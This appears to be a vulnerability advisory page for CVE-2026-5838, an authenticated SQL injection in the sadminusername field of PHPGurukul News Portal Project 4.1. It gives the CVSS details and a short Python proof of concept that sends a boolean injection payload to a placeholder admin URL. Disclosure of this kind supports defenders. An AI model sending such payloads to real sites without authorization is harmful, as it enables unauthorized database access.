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CVE-2026-5838 CVSS 4.7 MEDIUM

CVE-2026-5838

Published: 2026-04-09 05:16:06
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability was determined in PHPGurukul News Portal Project 4.1. This vulnerability affects unknown code of the file /admin/add-subadmins.php. This manipulation of the argument sadminusername causes sql injection. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized.

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

PHPGurukul News Portal Project 4.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL url = "http://target.com/admin/add-subadmins.php" # Cookies for authenticated session (High Privilege Required) cookies = { "PHPSESSID": "j5h8g2k1..." } # Payload for SQL Injection # Testing with a simple boolean-based injection payload = { "sadminusername": "admin' AND 1=1-- -", "sadminpassword": "test", "submit": "Add" } try: response = requests.post(url, data=payload, cookies=cookies) # Analyze response to confirm vulnerability if "success" in response.text or response.status_code == 200: print("Payload sent successfully. Check for database errors or changes.") else: print("No immediate indication of vulnerability, try time-based.") except Exception as e: print(f"An error occurred: {e}")

References

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